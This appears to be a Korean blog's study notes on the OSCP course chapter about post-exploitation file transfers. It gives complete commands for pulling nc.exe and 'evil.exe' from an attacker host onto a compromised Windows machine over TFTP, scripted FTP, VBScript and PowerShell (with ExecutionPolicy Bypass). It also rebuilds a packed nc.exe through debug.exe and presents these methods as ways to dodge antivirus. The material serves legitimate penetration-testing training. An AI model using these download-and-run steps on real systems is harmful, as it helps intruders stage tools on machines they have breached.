OSCP/OSCP Course PDF

10. File Transfers

우와해커 2020. 2. 26. 14:57


Ch10. FTP (페이지 197)

 

10. - File Transfers

 

Post exploitation 이라는 용어는 대상에서 일정 수준의 제어 권한을 얻은 후에 공격자가 수행 한 작업을 나타냅니다.

여기에는 대상 컴퓨터에 파일 및 도구 업로드, 권한 상승, 추가 컴퓨터로 제어 확장, 백도어 설치, 공격 증거 정리 등이 포함될 수 있습니다. 그러나 가장 먼저 취할 조치 중 하나는 파일을 업로드하는 것입니다.

사후 개발 프로세스를 도와주세요. 여기에는 컴파일 된 익스플로잇 바이너리, 명령 행 포트 스캐너, 백도어 및 비밀번호 덤퍼가 포함될 수 있습니다.

 

10.1 - A Word About Anti Virus Software

 

Post exploitation 단계는 대부분의 침투 테스터가 가장 큰 적은 – 안티 바이러스.

대부분의 회사 환경에서 바이러스 백신 소프트웨어는 모든 컴퓨터에 부지런히 설치됩니다.

이 소프트웨어의 주요 목적은 시스템 또는 네트워크에 위협이되는 파일 시스템의 파일을 식별합니다.

그만큼 바이러스 백신 회사는 알려진 악성 파일에 대한 서명 데이터베이스를 만듭니다.

알려진 서명이있는 파일을 찾으면 대개 바이러스 백신 소프트웨어에 의해 격리되어 쓸모가 없게됩니다.

더 나쁜 것은 영향을받는 파일에 대한 정보가 포함 된 사건으로 부지런한 관리자에게 경고 할 수 있습니다.

내부 시스템에 원격 셸이 있고 안티 바이러스 응용 프로그램이 업로드 중 하나를 선택하여 손실되는 경우에 지금까지 참여한 것에 대해 좌절감을 상상해보십시오.

바이러스 백신 소프트웨어를 피하는 가장 좋아하는 방법 중 하나는 합법적인 관리를 사용하는 것입니다
Post Exploition 단계에서 도구. 적절한 도구를 소개하고 나면 나중에 바이러스 백신 우회 문제를 다룰 것입니다.

 

 

10.2 - File Transfer Methods

 

불가피하게, 원격 쉘을 얻은 후 첫 번째 단계 중 하나는 업로드하는 것입니다
원격 기계에 추가 도구. 를 통해 기계 및 네트워크에 대한 우리의 통제를 확립하고 확장 할 수 있습니다.

새로 손상된 시스템에 파일을 업로드 할 때 직면하는 첫 제한은 타겟에서 사용할 수 있는 도구만 사용하는 것입니다.

유닉스 환경에서는 종종 운영 체제에 사전 설치된 netcat, curl 또는 wget과 같은 도구를 사용하여 원격 시스템에서 파일을 간단하게 다운로드 할 수 있습니다. 그러나 Windows 시스템에서는 일반적으로 프로세스가 간단하지 않습니다.

 

 

10.2.1 - The Non-Interactive Shell

Netcat은 Non-Interactive Program이다.

FTP는 Interactive Program이다.

 

그이유는 Netcat은 작업 완료를 위한 명령어를 사용자에게 요구하지 않음.

FTP는 작업 완료를 위해 bye명령을 쳐야함, 그때까지 계속 세션을 연결하며 명령을 주고받는다.

 

 

여기서 문제는 Interactive Program의 표준 출력이 쉘로 올바르게 리다이렉트 되지 않는다는 것이다.

그 결과, 종종 타임아웃과 연결종료를 유발한다.

* msfconsole로 Exploit에 성공하여 폴더 많은 곳에서 dir했을때를 떠올려보자. Timeout ㅅㅂ...

 

 

10.2.2 - Uploading Files

 

작업중인 기본 운영 체제에 따라 손상된 시스템에는 이미 첫 번째 파일을 업로드하 데 도움이되는

몇 가지 도구가있을 수 있습니다.

 

10.2.2.1 - Uploading Files With TFTP


TFTP
UDP기반 프로토콜로써 대부분 방화벽에 의해 egreess 패킷이 제한함, XP,2003은 기본적으로 설치가 포함되어있음.
7,2008부터는 사용자가 추가해야함, 그렇기 때문에 파일전송시 이상적인 방법은 아님..

그렇지만 파일전송이 간단하다는게 장점이다. (tftp는 non-interactively하게 동작한다)

 

칼리에 TFTP 데몬 서버에 실행 후 Vimtim이 받도록 하기

 

공격자 서버 오픈 후 파일 대기시키기

root@kali:~# mkdir /tftp
root@kali:~# atftpd --daemon --port 69 /tftp
root@kali:~# cp /usr/share/windows-binaries/nc.exe /tftp/

Vimtim 파일 다운받기 실행

C:\Users\Offsec>tftp -i 10.11.0.5 get nc.exe
Transfer successful: 59392 bytes in 16 second(s), 3712 bytes/s

 

10.2.2.2 - Uploading Files with FTP

 

Windows 운영 체제에는 파일 전송에도 사용할 수있는 기본 FTP 클라이언트가 포함되어 있습니다.

앞에서 본 것처럼 ftp.exe 클라이언트는 대화식 프로그램입니다. 입력을 완료해야합니다.

FTP를 파일 전송 프로토콜로 사용하기 전에 이 문제를 해결해야합니다.

ftp 도움말 옵션 (-h)에는 다음과 같은 힌트가 있습니다.

 

-s:filename                                 

-s옵션: ftp 명령이 존재하는 텍스트 파일을 입력하여 FTP실행 후 명령어가 자동으로 실행할 수 있다.

 

ftp.exe를 제공하여 FTP 파일 전송을 비 대화식 프로세스로 전환 할 수 있습니다.
실행할 명령이 포함 된 텍스트 파일이 있는 클라이언트 공격 측에서는 대상 컴퓨터가 연결할 FTP 서버를 설정하고 요청 된 파일을 다운로드해야합니다. 다음과 같이 Kali에서 PureFTPd51 서버를 빠르게 설치할 수 있습니다.

root@kali:~# apt-get update && apt-get install pure-ftpd

 

다음과 같이 bash스크립트를 사용하여 PureFTPd, 유저 자동 생성 스크립트를 먼저 실행하자.

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

스크립트를 실행하여 유저생성

root@kali:~# chmod 755 setup-ftp
root@kali:~# ./setup-ftp
Password:
Enter it again:
Restarting ftp server

 

FTP 서버가 구성된 상태에서 다음 명령을 원격 Windows 셸 및 FTP를 통해 비 대화식으로 파일을 다운로드합니다.

C:\Users\offsec>echo open 10.11.0.5 21> ftp.txt
C:\Users\offsec>echo USER offsec offsec >> ftp.txt
C:\Users\offsec>echo ftp>> ftp.txt
C:\Users\offsec>echo bin >> ftp.txt
C:\Users\offsec>echo GET nc.exe >> ftp.txt
C:\Users\offsec>echo bye >> ftp.txt
C:\Users\offsec>ftp -v -n -s:ftp.txt

* pureftp의 기본 디렉토리인 /ftphome에 nc.exe를 위치시켜야 정상적으로 다운 가능함.

 

 

10.2.2.3 - Uploading Files Using Scripting Languages

 

VBScript (Windows XP, 2003) 및 PowerShell (Windows7, 2008 이상)과 같은 스크립팅 엔진을 모두 사용하여 대상 컴퓨터로 파일을 다운로드 할 수 있습니다. 예를 들어 다음에 따르는 비 대화식 에코 명령 세트는, 원격 쉘에 붙여 넣을 때 간단한 HTTP 다운로더 역할을하는 VBS 스크립트를 작성합니다.

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

이제 우리는 우리의 웹서버에서 파일을 제공하고 타겟의 시스템에서 손쉽게 다운로드 할 수 있습니다.

C:\Users\Offsec>cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

 

 

더 간단한 방법은 아래처럼, 파워쉘이 설치된 시스템에서 다운로드 하는 것입니다.

C:\Users\Offsec> echo $storageDir = $pwd > wget.ps1
C:\Users\Offsec> echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:\Users\Offsec> echo $url = "http://10.11.0.5/evil.exe" >>wget.ps1
C:\Users\Offsec> echo $file = "new-exploit.exe" >>wget.ps1
C:\Users\Offsec> echo $webclient.DownloadFile($url,$file) >>wget.ps1

이제 우리는 파워쉘을 이용해 스크립트를 실행하고 우리의 파일을 다운로드 할 수 있습니다..

C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -
NoProfile -File wget.ps1

 

 

 

10.2.2.4 - Using debug.exe to Transfer Files

32비트 운영체제에서 또 다른 파일전송 방법은 debug.exe를 사용하는 것이다.

debug.exe(32bit): aseembler, disassembler, hex dumping tool로써 사용할 수 있다.

* 단, debug.exe로 파일을 생성하는데는 64KB 제한이 있r기 때문에 크기를 줄여야한다면 패커를 사용해야 합니다.

 

1. 패커를 이용해 nc.exe 파일의 파일 크기를 줄입니다.

root@kali:~# locate nc.exe|grep binaries
/usr/share/windows-binaries/nc.exe
root@kali:~# cp /usr/share/windows-binaries/nc.exe .
root@kali:~# ls -l nc.exe
-rwxr-xr-x 1 root root 59392 Apr 11 05:13 nc.exe
root@kali:~# upx -9 nc.exe

 

2. 와인을 이용하여 바이너리 파일을 텍스트파일로 변경합니다.

 

이제 우리 파일은 최적화되고 전송 준비가 완료되면 nc.exe 파일을 대상 컴퓨터에서 debug.exe가 사용할 수 있는 텍스트 파일로 변환하여 텍스트에서 파일을 다시 실행 파일로 다시 작성할 수 있습니다.

이것이 어떻게 이루어지는지 봅시다. 변환 프로세스에 exe2bat라는 Windows 도구를 사용합니다. 

(wine은 윈도우 환경을 실행하게 만들어주는 툴)

root@kali:~# locate exe2bat
/usr/share/windows-binaries/exe2bat.exe
root@kali:~# cp /usr/share/windows-binaries/exe2bat.exe .
root@kali:~# wine exe2bat.exe nc.exe nc.txt

 

이제 원격 쉘에서 간단히 복사하여 붙여 넣을 수있는 nc.txt라는 파일이 있습니다.

각 명령이 어떻게 대화형이 아니며 단순히 16 진 문자열을 파일로 에코하는지 확인하십시오. (head명령어로 확인) 

nc.txt가 끝날 무렵 대상 컴퓨터에서 nc.exe 실행 파일을 다시 빌드하는 명령을 볼 수 있습니다.

...
echo e e900 >>123.hex
echo >>123.hex
echo r cx >>123.hex
echo e800 >>123.hex
echo w >>123.hex
echo q >>123.hex


debug<123.hex
copy 1.dll nc.exe

 

3. 생성된 텍스트파일을 원격 쉘 명령창에 붙여넣으면 된다.

debug.exe가 echo명령으로 구성된 우리의 텍스트 파일을 바이너리 파일로 어셈블해줄 것이다.

 

 

10.2.3 - Exercises
(Reporting is not required for these exercises)
1. Use TFTP to transfer files from a non-interactive shell.
2. Use FTP to transfer files from a non-interactive shell.
3. Use VBScript to transfer files from a non-interactive shell.
4. Use PowerShell to transfer files from a non-interactive shell.
5. Use debug.exe to transfer files from a non-interactive shell.
Note: When you encounter issues, first try within an interactive shell. Watch for issues
that may cause problems, in a non-interactive shell.